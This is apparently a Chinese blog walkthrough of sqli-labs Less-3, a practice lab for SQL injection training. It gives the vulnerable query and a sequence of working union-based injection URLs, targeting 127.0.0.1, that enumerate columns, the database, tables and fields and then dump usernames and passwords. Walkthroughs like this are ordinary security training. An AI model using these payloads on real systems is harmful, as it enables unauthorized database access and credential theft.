sqli-labs 通过教程 Less-3

 判断字符类型(字符型)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

查看源码发现,正常情况是id=$id,在这里我们制造闭合需要构造'),因此闭合时使用')

或者我们输入id=1'

查看报错信息

 以下均同理

查找回显点
http://127.0.0.1/sqlilabs/Less-3/?id=1') order by 3--+
http://127.0.0.1/sqlilabs/Less-3/?id=1') order by 4--+   回显点为3
查看可存放位置
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,3-- -
查当前数据库名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,database()-- -     %%这里使用#无效,我们尝试使用--(space) 或者--+
查看表名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查看字段名
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
查看字段详细信息
http://127.0.0.1/sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(username,0x3a,password) from users--+

猜你喜欢

转载自blog.csdn.net/weixin_47559704/article/details/121699436